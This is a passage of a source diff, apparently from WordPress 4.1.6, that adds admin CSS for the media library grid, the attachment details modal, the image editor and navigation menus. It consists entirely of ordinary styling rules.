+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors {
+	font-size: 0;
+	top: -12px;
+	right: -10px;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:before {
+	content: "\f158";
+	font: normal 20px/1 dashicons;
+	color: #666;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:focus:before,
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:hover:before {
+	color: #2ea2cc;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h3 {
+	display: none;
+}
+
+.media-frame.mode-grid .uploader-inline {
+	position: relative;
+	top: auto;
+	right: auto;
+	left: auto;
+	bottom: auto;
+	padding-top: 0;
+	margin-top: 0;
+	border: 4px dashed #bbb;
+}
+
+.media-frame.mode-select .attachments-browser.fixed .attachments {
+	position: relative;
+	top: 94px; /* prevent jumping up when the toolbar becomes fixed */
+	padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */
+}
+
+.media-frame.mode-grid .attachment:focus,
+.media-frame.mode-grid .selected.attachment:focus,
+.media-frame.mode-grid .attachment.details:focus {
+	-webkit-box-shadow:
+		inset 0 0 2px 3px #f1f1f1,
+		inset 0 0 0 7px #5b9dd9;
+	box-shadow:
+		inset 0 0 2px 3px #f1f1f1,
+		inset 0 0 0 7px #5b9dd9;
+	outline: none;
+}
+
+.media-frame.mode-grid .selected.attachment {
+	-webkit-box-shadow:
+		inset 0 0 0 5px #f1f1f1,
+		inset 0 0 0 7px #ccc;
+	box-shadow:
+		inset 0 0 0 5px #f1f1f1,
+		inset 0 0 0 7px #ccc;
+}
+
+.media-frame.mode-grid .attachment.details {
+	-webkit-box-shadow:
+		inset 0 0 0 3px #f1f1f1,
+		inset 0 0 0 7px #1e8cbe;
+	box-shadow:
+		inset 0 0 0 3px #f1f1f1,
+		inset 0 0 0 7px #1e8cbe;
+}
+
+.media-frame.mode-grid.mode-select .attachment .thumbnail {
+	opacity: 0.65;
+}
+
+.media-frame.mode-select .attachment.selected .thumbnail {
+	opacity: 1;
+}
+
+.media-frame.mode-grid .media-toolbar {
+	margin-bottom: 15px;
+	height: auto;
+}
+
+.media-frame.mode-grid .media-toolbar select {
+	margin: 0 10px 0 0;
+	font-size: 14px;
+}
+
+.media-frame.mode-grid .media-toolbar-secondary > .media-button {
+	margin-top: 10px;
+	margin-bottom: 10px;
+}
+
+.media-frame.mode-grid .attachments-browser .bulk-select {
+	display: inline-block;
+	margin: 0 10px 0 0;
+}
+
+.media-frame.mode-grid .search {
+	margin-top: 0;
+}
+
+.media-frame.mode-grid .spinner {
+	margin-top: 15px;
+}
+
+.attachments-browser .media-toolbar-secondary > .media-button {
+	margin-right: 10px;
+}
+
+.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+	position: fixed;
+	top: 32px;
+	left: auto;
+	right: 20px;
+	margin-top: 0;
+}
+
+.media-frame.mode-grid .attachments-browser {
+	padding: 0;
+}
+
+.media-frame.mode-grid .attachments-browser .attachments {
+	padding: 2px;
+}
+
+.media-frame.mode-grid .attachments-browser .no-media {
+	color: #999;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 100px 0 0;
+	text-align: center;
+}
+
+/**
+ * Attachment details modal
+ */
+
+.edit-attachment-frame {
+	display: block;
+	height: 100%;
+	width: 100%;
+}
+
+.edit-attachment-frame .edit-media-header {
+	overflow: hidden;
+}
+
+.upload-php .media-modal-close .media-modal-icon:before {
+	content: '\f335';
+	font-size: 22px;
+}
+
+.upload-php .media-modal-close .media-modal-icon {
+	margin: 14px;
+	width: 22px;
+}
+
+.upload-php .media-modal-close,
+.edit-attachment-frame .edit-media-header .left,
+.edit-attachment-frame .edit-media-header .right {
+	cursor: pointer;
+	color: #777;
+	background-color: transparent;
+	height: 50px;
+	width: 50px;
+	padding: 0;
+	position: absolute;
+	text-align: center;
+	border: 0;
+	border-left: 1px solid #ddd;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+    transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.upload-php .media-modal-close {
+	top: 0;
+	right: 0;
+}
+
+.edit-attachment-frame .edit-media-header .left {
+	right: 102px;
+}
+
+.edit-attachment-frame .edit-media-header .right {
+	right: 51px;
+}
+
+.edit-attachment-frame .media-frame-title {
+	left: 0;
+	right: 150px; /* leave space for prev/next/close */
+}
+
+.edit-attachment-frame .edit-media-header .right:before,
+.edit-attachment-frame .edit-media-header .left:before {
+	font: normal 20px/50px 'dashicons' !important;
+	display: inline;
+	font-weight: 300;
+}
+
+.upload-php .media-modal-close:hover,
+.upload-php .media-modal-close:focus,
+.edit-attachment-frame .edit-media-header .left:hover,
+.edit-attachment-frame .edit-media-header .right:hover,
+.edit-attachment-frame .edit-media-header .left:focus,
+.edit-attachment-frame .edit-media-header .right:focus {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+	outline: none;
+}
+
+.upload-php .media-modal-close:focus .media-modal-icon:before,
+.upload-php .media-modal-close:hover .media-modal-icon:before {
+	color: #000;
+}
+
+.edit-attachment-frame .edit-media-header .left:before,
+.rtl .edit-attachment-frame .edit-media-header .right:before {
+	content: '\f341';
+}
+
+.edit-attachment-frame .edit-media-header .right:before,
+.rtl .edit-attachment-frame .edit-media-header .left:before {
+	content: '\f345';
+}
+
+.edit-attachment-frame .edit-media-header .left.disabled,
+.edit-attachment-frame .edit-media-header .right.disabled,
+.edit-attachment-frame .edit-media-header .left.disabled:hover,
+.edit-attachment-frame .edit-media-header .right.disabled:hover {
+	color: #ccc;
+	background: inherit;
+	cursor: default;
+	pointer-events: none;
+}
+
+.edit-attachment-frame .media-frame-content,
+.edit-attachment-frame .media-frame-router {
+	left: 0;
+}
+
+.edit-attachment-frame .media-frame-content {
+	border-bottom: none;
+	bottom: 0;
+	top: 50px;
+}
+
+.edit-attachment-frame .attachment-details {
+	position: absolute;
+	overflow: auto;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	left: 0;
+	-webkit-box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+}
+
+.edit-attachment-frame .attachment-media-view {
+	float: left;
+	width: 65%;
+	height: 100%;
+}
+
+.edit-attachment-frame .attachment-media-view .thumbnail {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	padding: 16px;
+	height: 100%;
+}
+
+.edit-attachment-frame .attachment-media-view .details-image {
+	display: block;
+	margin-bottom: 16px;
+	max-width: 100%;
+	max-height: 90%;
+	max-height: -webkit-calc( 100% - 42px );
+	max-height: calc( 100% - 42px ); /* leave space for actions underneath */
+}
+
+.edit-attachment-frame .wp-media-wrapper {
+	margin-bottom: 12px;
+}
+
+.edit-attachment-frame input,
+.edit-attachment-frame textarea {
+	padding: 6px 8px;
+	line-height: 16px;
+}
+
+.edit-attachment-frame .attachment-info {
+	overflow: auto;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin-bottom: 0;
+	padding: 12px 16px 0;
+	width: 35%;
+	height: 100%;
+	-webkit-box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+	border-bottom: 0;
+	border-left: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+.edit-attachment-frame .attachment-info .details,
+.edit-attachment-frame .attachment-info .settings {
+	position: relative; /* RTL fix, #WP29352 */
+	overflow: hidden;
+	float: none;
+	margin-bottom: 15px;
+	padding-bottom: 15px;
+	border-bottom: 1px solid #ddd;
+}
+
+.edit-attachment-frame .attachment-info .filename {
+	font-weight: normal;
+	color: #666;
+}
+
+.edit-attachment-frame .attachment-info .thumbnail {
+	margin-bottom: 12px;
+}
+
+.attachment-info .actions {
+	margin-bottom: 16px;
+}
+
+.attachment-info .actions a {
+	display: inline;
+	text-decoration: none;
+}
+
+
+/*------------------------------------------------------------------------------
+  14.2 - Image Editor
+------------------------------------------------------------------------------*/
+
+.wp_attachment_details label[for="content"] {
+	font-size: 13px;
+	line-height: 1.5;
+	margin: 1em 0;
+}
+
+.wp_attachment_details #attachment_caption {
+	height: 4em;
+}
+
+.describe .image-editor {
+	vertical-align: top;
+}
+
+.imgedit-wrap {
+	position: relative;
+}
+
+.imgedit-settings p {
+	margin: 8px 0 0;
+}
+
+.describe .imgedit-wrap .imgedit-settings {
+	padding: 0 5px;
+}
+
+.wp_attachment_holder div.updated {
+	margin-top: 0;
+}
+
+.wp_attachment_holder .imgedit-wrap > div {
+	height: auto;
+	overflow: hidden;
+}
+
+.wp_attachment_holder .imgedit-wrap .imgedit-panel-content {
+	padding-right: 16px;
+	width: auto;
+	overflow: hidden;
+}
+
+.wp_attachment_holder .imgedit-wrap .imgedit-settings {
+	float: right;
+	width: 250px;
+}
+
+.imgedit-settings input {
+	margin-top: 0;
+	vertical-align: middle;
+}
+
+.imgedit-wait {
+	position: absolute;
+	top: 0;
+	background: #fff url(../images/spinner.gif) no-repeat center;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 100%;
+	height: 500px;
+	display: none;
+}
+
+.no-float {
+	float: none;
+}
+
+.media-disabled,
+.imgedit-settings .disabled {
+	color: grey;
+}
+
+.wp_attachment_image,
+.A1B1 {
+	overflow: hidden;
+}
+
+.wp_attachment_image .button,
+.A1B1 .button {
+	float: left;
+}
+
+.no-js .wp_attachment_image .button {
+	display: none;
+}
+
+.wp_attachment_image .spinner,
+.A1B1 .spinner {
+	float: left;
+	padding: 0 0 4px 0;
+	vertical-align: bottom;
+}
+
+.imgedit-menu {
+	margin: 0 0 12px;
+	min-width: 300px;
+}
+
+.imgedit-menu div {
+	float: left;
+	width: 32px;
+	border: 1px solid #d5d5d5;
+	background: #f1f1f1;
+	margin: 0 8px 0 0;
+	height: 32px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-align: center;
+	line-height: 28px;
+	color: #777;
+	cursor: pointer;
+}
+
+.imgedit-menu div:before {
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	vertical-align: middle;
+}
+
+.imgedit-menu div:hover {
+	border-color: #c1c1c1;
+	background-color: #eaeaea;
+	color: #333;
+}
+
+.imgedit-menu div.disabled {
+	border-color: #ccc;
+	background-color: #ddd;
+	color: #777;
+	filter: alpha(opacity=50);
+	opacity: 0.5;
+	cursor: default;
+}
+
+.imgedit-crop:before {
+	content:'\f165';
+}
+
+.imgedit-rleft:before {
+	content:'\f166';
+}
+
+.imgedit-rright:before {
+	content:'\f167';
+}
+
+.imgedit-flipv:before {
+	content:'\f168';
+}
+
+.imgedit-fliph:before {
+	content:'\f169';
+}
+
+.imgedit-undo:before {
+	content:'\f171';
+}
+
+.imgedit-redo:before {
+	content:'\f172';
+}
+
+.imgedit-crop-wrap {
+	position: relative;
+}
+
+.imgedit-crop {
+	margin: 0 8px 0 0;
+}
+
+.imgedit-rleft {
+	margin: 0 3px;
+}
+
+.imgedit-rright {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-flipv {
+	margin: 0 3px;
+}
+
+.imgedit-fliph {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-undo {
+	margin: 0 3px;
+}
+
+.imgedit-redo {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-applyto img {
+	margin: 0 8px 0 0;
+}
+
+.imgedit-group-top {
+	margin: 5px 0;
+}
+
+#poststuff .imgedit-group-top h3 {
+	padding: 0;
+}
+
+.imgedit-group-top h3 a {
+	text-decoration: none;
+}
+
+.imgedit-applyto .imgedit-label {
+	padding: 2px 0 0;
+	display: block;
+}
+
+.imgedit-help {
+	display: none;
+	font-style: italic;
+}
+
+a.imgedit-help-toggle {
+	text-decoration: none;
+}
+
+.form-table td.imgedit-response {
+	padding: 0;
+}
+
+.imgedit-submit {
+	margin: 8px 0;
+}
+
+.imgedit-submit-btn {
+	margin-left: 20px;
+}
+
+.imgedit-wrap .nowrap {
+	white-space: nowrap;
+}
+
+span.imgedit-scale-warn {
+	color: red;
+	font-size: 20px;
+	font-style: normal;
+	visibility: hidden;
+	vertical-align: middle;
+}
+
+.imgedit-group {
+	margin-bottom: 8px;
+	padding: 2px 10px;
+}
+
+audio, video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.mejs-container {
+	width: 100%;
+	max-width: 100%;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.imgedit-wait {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.wp_attachment_details label[for="content"] {
+		font-size: 14px;
+		line-height: 1.5em;
+	}
+
+	.media-upload-form .media-item.error,
+	.media-upload-form .media-item .error {
+		font-size: 13px;
+		line-height: 1.5;
+	}
+
+	.media-upload-form .media-item.error {
+		padding: 1px 10px;
+	}
+
+	.media-upload-form .media-item .error {
+		padding: 10px 0 10px 12px;
+	}
+}
+
+/**
+ * Media queries for media grid.
+ */
+
+@media only screen and (max-width: 1120px) {
+	/* override for media-views.css */
+	#wp-media-grid .wp-filter .attachment-filters {
+		max-width: 100%;
+	}
+}
+
+@media only screen and ( max-width: 782px ) {
+	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+		top: 46px;
+		right: 10px;
+	}
+}
+
+@media only screen and (max-width: 600px) {
+	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+		top: 0;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.edit-attachment-frame .media-frame-title {
+		right: 110px;
+	}
+
+	.upload-php .media-modal-close,
+	.edit-attachment-frame .edit-media-header .left,
+	.edit-attachment-frame .edit-media-header .right {
+		width: 40px;
+		height: 40px;
+	}
+
+	.upload-php .media-modal-close .media-modal-icon {
+		margin: 9px 10px;
+	}
+
+	.edit-attachment-frame .edit-media-header .right:before,
+	.edit-attachment-frame .edit-media-header .left:before {
+		line-height: 40px !important;
+	}
+
+	.edit-attachment-frame .edit-media-header .left {
+		right: 82px;
+	}
+
+	.edit-attachment-frame .edit-media-header .right {
+		right: 41px;
+	}
+
+	.edit-attachment-frame .media-frame-content {
+		top: 40px;
+	}
+
+	.edit-attachment-frame .attachment-media-view {
+		float: none;
+		height: auto;
+		width: 100%;
+	}
+
+	.edit-attachment-frame .attachment-info {
+		height: auto;
+		width: 100%;
+	}
+}
+
+@media only screen and (max-width: 640px), screen and (max-height: 400px) {
+	.upload-php .mode-grid .media-sidebar{
+		max-width: 100%;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/nav-menus.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/nav-menus.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/nav-menus.css	(revision 33402)
@@ -0,0 +1,858 @@
+/* nav-menu */
+
+/* @todo: determine if this is truly for nav menus only */
+.no-js #message {
+	display: block;
+}
+
+ul.add-menu-item-tabs li {
+	padding: 3px 5px 3px 8px;
+}
+
+.accordion-section ul.category-tabs,
+.accordion-section ul.add-menu-item-tabs,
+.accordion-section ul.wp-tab-bar {
+	margin: 0;
+}
+
+.accordion-section .categorychecklist {
+	margin: 13px 0;
+}
+
+#nav-menu-meta .accordion-section-content {
+	padding: 18px 13px;
+}
+
+#nav-menu-meta .button-controls {
+	margin-bottom: 0;
+}
+
+#nav-menus-frame {
+	margin-left: 300px;
+	margin-top: 23px;
+}
+
+#wpbody-content #menu-settings-column {
+	display:inline;
+	width:281px;
+	margin-left: -300px;
+	clear: both;
+	float: left;
+	padding-top: 0;
+}
+
+#menu-settings-column .inside {
+	clear: both;
+	margin: 10px 0 0;
+}
+
+.metabox-holder-disabled .postbox,
+.metabox-holder-disabled .accordion-section-content,
+.metabox-holder-disabled .accordion-section-title {
+	opacity: 0.5;
+	filter: alpha(opacity=50);
+}
+
+.metabox-holder-disabled .button-controls .select-all {
+	display: none;
+}
+
+#wpbody {
+	position: relative;
+}
+
+.blank-slate .menu-name {
+	height: 2em;
+}
+
+.blank-slate .menu-settings {
+	border: none;
+	margin-top: 0;
+	padding-top: 0;
+	overflow: hidden;
+}
+
+.is-submenu {
+	color: #999;
+	font-style: italic;
+	font-weight: normal;
+	margin-left: 4px;
+}
+
+.manage-menus {
+	margin-top: 23px;
+	padding: 10px;
+	overflow: hidden;
+	background: #fbfbfb;
+}
+
+.manage-menus select {
+	float: left;
+	margin-right: 6px;
+}
+
+.manage-menus .selected-menu {
+	float: left;
+	margin: 5px 6px 0 0;
+}
+
+.manage-menus .submit-btn {
+	float: left;
+	margin-top: 1px;
+}
+
+.menu-edit p {
+	margin: .3em 0 .6em;
+}
+
+.menu-edit #post-body-content h3 {
+	margin: 1em 0 10px;
+}
+
+.menu-settings {
+	border-top: 1px solid #eee;
+	margin-top: 2em;
+}
+
+.menu-settings dl {
+	margin: 0 0 10px;
+	overflow: hidden;
+	padding-left: 18%;
+}
+
+.menu-settings dd {
+	float: left;
+	margin: 0;
+	width: 100%;
+}
+
+.menu-settings dt {
+	float: left;
+	clear: both;
+	width: 21.951%;
+	padding: 3px 0 0;
+	margin-left: -21.951%;
+}
+
+.menu-settings label {
+	vertical-align: baseline;
+}
+
+.menu-edit .checkbox-input {
+	margin-top: 4px;
+}
+
+.theme-location-set {
+	color: #999;
+	font-size: 11px;
+}
+
+/* Menu Container */
+#menu-management-liquid {
+	float: left;
+	min-width: 100%;
+	margin-top: 3px;
+}
+
+#menu-management {
+	position: relative;
+	margin-right: 20px;
+	margin-top: -3px;
+	width: 100%;
+	background: #f5f5f5;
+}
+
+#menu-management .menu-edit {
+	margin-bottom: 20px;
+}
+
+.nav-menus-php #post-body {
+	padding: 0 10px 10px;
+	border-top: 1px solid #fff;
+	border-bottom: 1px solid #dfdfdf;
+	background: #fff;
+}
+
+#nav-menu-header,
+#nav-menu-footer {
+	padding: 0 10px;
+}
+
+#nav-menu-header {
+	border-bottom: 1px solid #dfdfdf;
+	margin-bottom: 0;
+}
+
+#nav-menu-header .menu-name-label {
+	margin-top: 4px;
+}
+
+.nav-menus-php #post-body div.updated,
+.nav-menus-php #post-body div.error {
+	margin: 0;
+}
+
+.nav-menus-php #post-body-content {
+	position: relative;
+	float: none;
+}
+
+#menu-management .menu-add-new abbr {
+	font-weight:600;
+}
+
+#select-nav-menu-container {
+	text-align: right;
+	padding: 0 10px 3px 10px;
+	margin-bottom: 5px;
+}
+
+#select-nav-menu {
+	width: 100px;
+	display: inline;
+}
+
+#menu-name-label {
+	margin-top: -2px;
+}
+
+.widefat td.menu-location-menus {
+	padding-bottom: 5px;
+}
+
+.menu-location-menus select {
+	float: left;
+}
+
+#locations-nav-menu-wrapper {
+	padding: 5px 0;
+}
+
+.locations-nav-menu-select select {
+	float: left;
+	width: 160px;
+	margin-right: 5px;
+}
+
+.locations-row-links {
+	float: left;
+	margin: 6px 0 0 6px;
+}
+
+.locations-edit-menu-link,
+.locations-add-menu-link {
+	margin: 0 3px;
+}
+
+.locations-edit-menu-link {
+	padding-right: 3px;
+	border-right: 1px solid #ccc;
+}
+
+#wpbody .open-label {
+	display: block;
+	float:left;
+}
+
+#wpbody .open-label span {
+	padding-right: 10px;
+}
+
+.js .input-with-default-title {
+	color: #aaa;
+	font-style: italic;
+}
+
+#menu-management .inside {
+	padding: 0 10px;
+}
+
+/* Add Menu Item Boxes */
+.postbox .howto input,
+.accordion-container .howto input {
+	width: 180px;
+	float: right;
+}
+
+.accordion-container .outer-border {
+	margin: 0;
+}
+
+.customlinkdiv .howto input {
+	width: 180px;
+}
+
+.customlinkdiv p {
+	margin-top: 0
+}
+
+#nav-menu-theme-locations .howto select {
+	width: 100%;
+}
+
+#nav-menu-theme-locations .button-controls {
+	text-align: right;
+}
+
+.add-menu-item-view-all {
+	height: 400px;
+}
+
+/* Button Primary Actions */
+#menu-container .submit {
+	margin: 0 0 10px;
+	padding: 0;
+}
+
+.nav-menus-php .add-new-menu-action {
+	float: left;
+	margin: 6px 0 0 6px;
+	line-height: 15px;
+}
+
+.nav-menus-php .meta-sep,
+.nav-menus-php .submitdelete,
+.nav-menus-php .submitcancel {
+	display: block;
+	float: left;
+	margin: 6px 0;
+	line-height: 15px;
+}
+
+.meta-sep {
+	padding: 0 2px;
+}
+
+/* @todo: is this actually used? */
+#cancel-save {
+	text-decoration: underline;
+	font-size: 12px;
+	margin-left: 20px;
+	margin-top: 5px;
+}
+
+.button.right, .button-secondary.right, .button-primary.right {
+	float: right;
+}
+
+/* Button Secondary Actions */
+.list-controls {
+	float: left;
+	margin-top: 5px;
+}
+
+.add-to-menu {
+	float: right;
+}
+
+.postbox .spinner {
+	display: none;
+	vertical-align: middle;
+}
+
+.button-controls {
+	clear:both;
+	margin: 10px 0;
+}
+
+.show-all,
+.hide-all {
+	cursor: pointer;
+}
+
+.hide-all {
+	display: none;
+}
+
+/* Create Menu */
+#menu-name {
+	width: 270px;
+}
+
+#manage-menu .inside {
+	padding: 0px 0px;
+}
+
+/* Custom Links */
+#available-links dt {
+	display: block;
+}
+
+#add-custom-link .howto {
+	font-size: 12px;
+}
+
+#add-custom-link label span {
+	display: block;
+	float: left;
+	margin-top: 5px;
+	padding-right: 5px;
+}
+
+.menu-item-textbox {
+	width: 180px;
+}
+
+.nav-menus-php .howto span {
+	margin-top: 6px;
+	display: block;
+	float: left;
+}
+
+/* Menu item types */
+.quick-search {
+	width: 190px;
+}
+
+.nav-menus-php .list-wrap {
+	display: none;
+	clear: both;
+	margin-bottom: 10px;
+}
+
+.nav-menus-php .postbox p.submit {
+	margin-bottom: 0;
+}
+
+/* Listings */
+.nav-menus-php .list li {
+	display: none;
+	margin: 0;
+	margin-bottom: 5px;
+}
+
+.nav-menus-php .list li .menu-item-title {
+	cursor: pointer;
+	display: block;
+}
+
+.nav-menus-php .list li .menu-item-title input {
+	margin-right: 3px;
+	margin-top: -3px;
+}
+
+.menu-item-title input[type=checkbox] {
+	display: inline-block;
+	margin-top: -4px;
+}
+
+/* Nav Menu */
+#menu-container .inside {
+	padding-bottom: 10px;
+}
+
+.menu {
+	padding-top:1em;
+}
+
+#menu-to-edit {
+	margin: 0;
+	padding: 0.1em 0;
+}
+
+.menu ul {
+	width: 100%;
+}
+
+.menu li {
+	margin-bottom: 0;
+	position:relative;
+}
+
+.menu-item-bar {
+	clear:both;
+	line-height:1.5em;
+	position:relative;
+	margin: 9px 0 0;
+}
+
+.menu-item-bar .menu-item-handle {
+	border: 1px solid #dfdfdf;
+	position: relative;
+	padding: 10px 15px;
+	height: auto;
+	min-height: 20px;
+	width: 382px;
+	line-height: 30px;
+	overflow: hidden;
+	word-wrap: break-word;
+}
+
+.menu-item-bar .menu-item-handle:hover {
+	border-color: #999;
+}
+
+#menu-to-edit .menu-item-invalid .menu-item-handle {
+	background: #f6c9cc;
+	border-color: #f1acb1;
+}
+
+.no-js .menu-item-edit-active .item-edit {
+	display: none;
+}
+
+.js .menu-item-handle {
+	cursor: move;
+}
+
+.menu li.deleting .menu-item-handle {
+	background-image: none;
+	background-color: #f66;
+}
+
+.menu-item-handle .item-title {
+	font-size: 13px;
+	font-weight: 600;
+	line-height: 20px;
+	display: block;
+	margin-right: 13em;
+}
+
+.menu-item-handle .menu-item-title.no-title {
+	color: #999;
+}
+
+/* Sortables */
+li.menu-item.ui-sortable-helper dl {
+	margin-top: 0;
+}
+
+li.menu-item.ui-sortable-helper .menu-item-transport dl {
+	margin-top: 13px;
+}
+
+.menu .sortable-placeholder {
+	height: 35px;
+	width: 410px;
+	margin-top: 13px;
+}
+
+/* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */
+.menu-item-depth-0 { margin-left: 0px; }
+.menu-item-depth-1 { margin-left: 30px; }
+.menu-item-depth-2 { margin-left: 60px; }
+.menu-item-depth-3 { margin-left: 90px; }
+.menu-item-depth-4 { margin-left: 120px; }
+.menu-item-depth-5 { margin-left: 150px; }
+.menu-item-depth-6 { margin-left: 180px; }
+.menu-item-depth-7 { margin-left: 210px; }
+.menu-item-depth-8 { margin-left: 240px; }
+.menu-item-depth-9 { margin-left: 270px; }
+.menu-item-depth-10 { margin-left: 300px; }
+.menu-item-depth-11 { margin-left: 330px; }
+
+.menu-item-depth-0 .menu-item-transport { margin-left: 0px; }
+.menu-item-depth-1 .menu-item-transport { margin-left: -30px; }
+.menu-item-depth-2 .menu-item-transport { margin-left: -60px; }
+.menu-item-depth-3 .menu-item-transport { margin-left: -90px; }
+.menu-item-depth-4 .menu-item-transport { margin-left: -120px; }
+.menu-item-depth-5 .menu-item-transport { margin-left: -150px; }
+.menu-item-depth-6 .menu-item-transport { margin-left: -180px; }
+.menu-item-depth-7 .menu-item-transport { margin-left: -210px; }
+.menu-item-depth-8 .menu-item-transport { margin-left: -240px; }
+.menu-item-depth-9 .menu-item-transport { margin-left: -270px; }
+.menu-item-depth-10 .menu-item-transport { margin-left: -300px; }
+.menu-item-depth-11 .menu-item-transport { margin-left: -330px; }
+
+body.menu-max-depth-0 { min-width: 950px !important; }
+body.menu-max-depth-1 { min-width: 980px !important; }
+body.menu-max-depth-2 { min-width: 1010px !important; }
+body.menu-max-depth-3 { min-width: 1040px !important; }
+body.menu-max-depth-4 { min-width: 1070px !important; }
+body.menu-max-depth-5 { min-width: 1100px !important; }
+body.menu-max-depth-6 { min-width: 1130px !important; }
+body.menu-max-depth-7 { min-width: 1160px !important; }
+body.menu-max-depth-8 { min-width: 1190px !important; }
+body.menu-max-depth-9 { min-width: 1220px !important; }
+body.menu-max-depth-10 { min-width: 1250px !important; }
+body.menu-max-depth-11 { min-width: 1280px !important; }
+
+/* Menu item controls */
+.item-type {
+	color: #777;
+	font-size: 12px;
+	padding: 12px 10px;
+	line-height: 18px;
+	display: block;
+}
+
+.item-controls {
+	font-size: 12px;
+	position: absolute;
+	right: 20px;
+	top: -1px;
+}
+
+.item-controls a {
+	text-decoration: none;
+}
+
+.item-controls a:hover {
+	cursor: pointer;
+}
+
+.item-controls .item-order {
+	padding-right: 10px;
+}
+
+.nav-menus-php .item-edit {
+	position: absolute;
+	right: -20px;
+	top: 0;
+	display: block;
+	width: 30px;
+	height: 40px;
+	margin-right: 0 !important;
+	text-indent: 100%;
+	outline: none;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+/* Menu editing */
+.menu-instructions-inactive {
+	display: none;
+}
+
+.menu-item-settings {
+	display: block;
+	width: 402px;
+	padding: 10px 0 10px 10px;
+	position: relative;
+	z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */
+	border: 1px solid #e5e5e5;
+	border-top: none;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+.menu-item-settings .field-move a {
+	display: none;
+	margin: 0 2px;
+}
+
+.menu-item-edit-active .menu-item-settings {
+	display: block;
+}
+
+.menu-item-edit-inactive .menu-item-settings {
+	display: none;
+}
+
+.add-menu-item-pagelinks {
+	margin: .5em auto;
+	text-align: center;
+}
+
+.link-to-original {
+	display: block;
+	margin: 0 0 10px;
+	padding: 3px 5px 5px;
+	border: 1px solid #dfdfdf;
+	color: #777;
+	font-size: 12px;
+	font-style: italic;
+}
+
+.link-to-original a {
+	padding-left: 4px;
+	font-style: normal;
+}
+
+.hidden-field {
+	display: none;
+}
+
+.menu-item-settings .description-thin,
+.menu-item-settings .description-wide {
+	margin-right: 10px;
+	float: left;
+}
+
+.description-thin {
+	width: 190px;
+	height: 40px;
+}
+
+.description-wide {
+	width: 390px;
+}
+
+.menu-item-actions {
+	padding-top: 15px;
+}
+
+#cancel-save {
+	cursor: pointer;
+}
+
+/* Major/minor publishing actions (classes) */
+.nav-menus-php .major-publishing-actions {
+	clear: both;
+	padding: 3px 0 6px;
+}
+
+.nav-menus-php .major-publishing-actions .publishing-action {
+	text-align: right;
+	float: right;
+	line-height: 23px;
+	margin: 4px 0 1px;
+}
+
+.nav-menus-php .blank-slate .menu-settings {
+	display: none;
+}
+
+.nav-menus-php .delete-action {
+	float: left;
+	margin-top: 2px;
+}
+
+.nav-menus-php .submitbox .submitcancel {
+	border-bottom: 1px solid #0074a2;
+	padding: 1px 2px;
+	color: #0074a2;
+	text-decoration: none;
+}
+
+.nav-menus-php .submitbox .submitcancel:hover {
+	background: #0074a2;
+	color: #fff;
+}
+
+.nav-menus-php .major-publishing-actions .form-invalid {
+	padding-left: 4px;
+	margin-left: -4px;
+}
+
+/* Clearfix */
+#menu-item-name-wrap:after,
+#menu-item-url-wrap:after,
+#menu-name-label:after,
+#menu-settings-column .inside:after,
+#nav-menus-frame:after,
+.nav-menus-php #post-body-content:after,
+.nav-menus-php .button-controls:after,
+.nav-menus-php .major-publishing-actions:after,
+.nav-menus-php .menu-item-settings:after {
+	clear: both;
+	content: ".";
+	display: block;
+	height: 0;
+	visibility: hidden;
+}
+
+#nav-menus-frame,
+.button-controls,
+#menu-item-url-wrap,
+#menu-item-name-wrap {
+	display: block;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and ( max-width: 782px ) {
+	body.nav-menus-php {
+		min-width: 0 !important;
+	}
+
+	#nav-menus-frame {
+		margin-left: 0;
+		float: none;
+		width: 100%;
+	}
+
+	#wpbody-content #menu-settings-column {
+		display: block;
+		width: 100%;
+		float: none;
+		margin-left: 0;
+	}
+
+	#side-sortables .add-menu-item-tabs {
+		margin: 15px 0 14px;
+	}
